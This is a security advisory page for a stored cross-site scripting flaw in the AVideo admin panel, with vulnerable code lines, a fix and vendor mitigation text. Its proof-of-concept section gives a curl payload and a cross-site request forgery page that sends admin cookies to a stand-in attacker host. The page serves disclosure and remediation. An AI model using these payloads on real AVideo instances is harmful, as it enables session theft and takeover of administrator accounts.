GHSA-v4h7-3x43-qqw4 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v4h7-3x43-qqw4.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-v4h7-3x43-qqw4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
Textarea injection (line 47):
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";
The $valueJson->value is placed directly between textarea tags without encoding.
Select option injection (line 55):
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";
Both $key and $value are inserted without encoding, allowing attribute breakout and HTML injection.
Input type and value injection (lines 62-63):
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";
Both type and value attributes are unescaped, enabling attribute injection.
Fallback input injection (line 75):
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";
The raw $valueJson string is placed into the value attribute without encoding.
Configuration values are saved via admin/save.json.php, which lacks CSRF token validation.
Proof of Concept
Method 1: Direct exploitation (requires admin session)
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/admin/save.json.php" \
-d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
When any admin visits the plugin configuration page, the payload fires.
Method 2: Cross-origin chain with CSRF (no authentication required)
Create the following HTML page and trick an admin into visiting it:
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="name" value="Gallery" />
<input type="hidden" name="parameter" value="description" />
<input type="hidden" name="value"
value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus='" />
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>
The payload breaks out of the value attribute in the rendered input element:
<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) autofocus=''
name='description' id='description'/>
Impact
An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on save.json.php, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:
-
Steal admin session cookies and CSRF tokens
-
Create new admin accounts
-
Modify site configuration (enable file uploads, disable security features)
-
Inject persistent JavaScript into public-facing pages via site-wide settings
-
Pivot to server-side code execution via plugin upload functionality
-
CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
-
Severity: High
Recommended Fix
Apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') to all user-controlled values rendered in admin/functions.php:
// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "</textarea>";
// admin/functions.php:55 - select option
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>" . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . "</option>";
// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_QUOTES, 'UTF-8') . "' value='" . htmlspecialchars($valueJson->value, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson, ENT_QUOTES, 'UTF-8') . "' name='{$name}' id='{$id}'/>";
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-v4h7-3x43-qqw4 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-v4h7-3x43-qqw4 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-v4h7-3x43-qqw4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v4h7-3x43-qqw4 in your dependencies?
O3 Security finds GHSA-v4h7-3x43-qqw4 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.